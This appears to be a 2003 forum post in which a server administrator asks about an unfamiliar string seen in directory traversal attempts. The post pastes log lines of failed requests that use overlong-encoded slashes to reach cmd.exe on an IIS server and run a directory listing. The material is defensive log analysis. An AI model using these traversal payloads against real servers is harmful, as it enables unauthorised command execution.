While this is a standard attempt at directory traversal I have never noticed this particular strings, ("ø€€€¯") in the attempt. Is this new or have I just not been graced by this little nasty before? Or are my powers of observation failing.......

2003-05-01 05:50:51 Daemon.Info XXX.XXX.XXX.XXX May 1 05:50:51 My Server <009>2003-05-01 09:50:49 216.185.74.XXX - XXX.XXX.XXX.XXX 80 GET /msadc/..ð€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 Mozilla/3.0+(compatible)

2003-05-01 05:50:51 Daemon.Info XXX.XXX.XXX.XXX May 1 05:50:51 My Server <009>2003-05-01 09:50:50 216.185.74.XXX - XXX.XXX.XXX.XXX 80 GET /msadc/..ø€€€¯../..ø€€€¯../..ø€€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 Mozilla/3.0+(compatible)

2003-05-01 05:51:01 Daemon.Info XXX.XXX.XXX.XXX May 1 05:51:01 My Server <009>2003-05-01 09:50:57 216.185.74.XXX - XXX.XXX.XXX.XXX 80 GET /msadc/..ð€€¯../..ð€€¯../..ð€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 Mozilla/3.0+(compatible)

2003-05-01 05:51:01 Daemon.Info XXX.XXX.XXX.XXX May 1 05:51:01 My Server <009>2003-05-01 09:50:58 216.185.74.XXX - XXX.XXX.XXX.XXX 80 GET /msadc/..ü€€€€¯../..ü€€€€¯../..ü€€€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 Mozilla/3.0+(compatible)

2003-05-01 05:51:06 Daemon.Info XXX.XXX.XXX.XXX May 1 05:51:06 My Server <009>2003-05-01 09:51:01 216.185.74.XXX - XXX.XXX.XXX.XXX 80 GET /msadc/..ø€€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 Mozilla/3.0+(compatible)